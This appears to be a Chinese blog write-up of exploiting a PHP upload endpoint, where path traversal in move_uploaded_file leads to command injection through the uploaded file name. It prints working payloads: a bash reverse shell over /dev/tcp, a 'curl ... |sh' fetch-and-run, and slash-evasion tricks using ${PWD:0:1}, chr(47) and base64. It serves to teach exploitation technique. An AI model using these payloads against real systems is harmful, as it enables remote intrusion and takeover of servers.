![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ff7620e7-139a-7b60-e6c9-69ffa9293ee7.png)

访问 http://123.57.223.30/uploads/aa.php 报404，直接访问 http://123.57.223.30/uploads/ 没有这个目录，分析之后发现是`move_uploaded_file`的问题，当不存在uploads目录时会走else分支。

尝试跨目录`../`，shell应该在 http://123.57.223.30/aa.php 访问发现还是404。全站应该没有写入权限。只能走命令注入这条路了。

命令注入的关键点在于`move_uploaded_file`，首先找可写目录，比如`/tmp/`，因为不知道当前的绝对路径，我们可以用尽可能多的`../`跨到tmp，形如：
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/1548fa45-e335-886c-1450-8610c770ee00.png)

确实可行
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/b618e78f-108d-c3a8-67bf-7919a4a6ee69.png)

这样走到exec之后注入，dnslog带外
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/3b7fe2d5-7c78-0864-a5e8-998dd4c99022.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/0b67d591-c95e-c4d5-1447-c402c33210fb.png)

这个时候上传的文件名为
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/11647257-ddbd-f57a-0367-10be431ea3e0.png)

尝试常规的bash反弹shell

```
bash -i >& /dev/tcp/ip/8080 0>&1
```
发包后没收到shell，因为`/`的问题，在`move_uploaded_file`的时候会报错，走不到exec()。

这个时候就是体现姿势的时候了。群友给了几个姿势

```
/../../../../../tmp/xx;curl 10.10.10.10 |sh ;
../../../../../../tmp/asdfasd.sh;bash $(php -r "print(chr(47));")tmp$(php -r "print(chr(47));")a.sh;
/../../../../../tmp/xx;bash -i >& ${PWD:0:1}dev${PWD:0:1}tcp${PWD:0:1}123.57.223.30${PWD:0:1}8080 0>&1;
echo `echo Lwo=|base64 -d`tmp
```

1. curl的原理是直接通过管道符执行curl的结果
2. 先传一
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d35719f6-6a27-72e6-aa1d-16156452eb59.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d8201340-434f-baf3-7913-7d1ef6f94290.png)

## 上帝视角
主要就是命令注入和`move_uploaded_file`在Linux下的绕过。回过头看Linux权限问题
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/05143a03-99b1-c5df-b816-f0d4b9a6d80b.png)
index.php为root所属，其他用户只有读权限，不可写。完美复现实战中碰到的苛刻环境，利用还算简单，重点是通过bash配合其他命令进行绕过特殊字符串。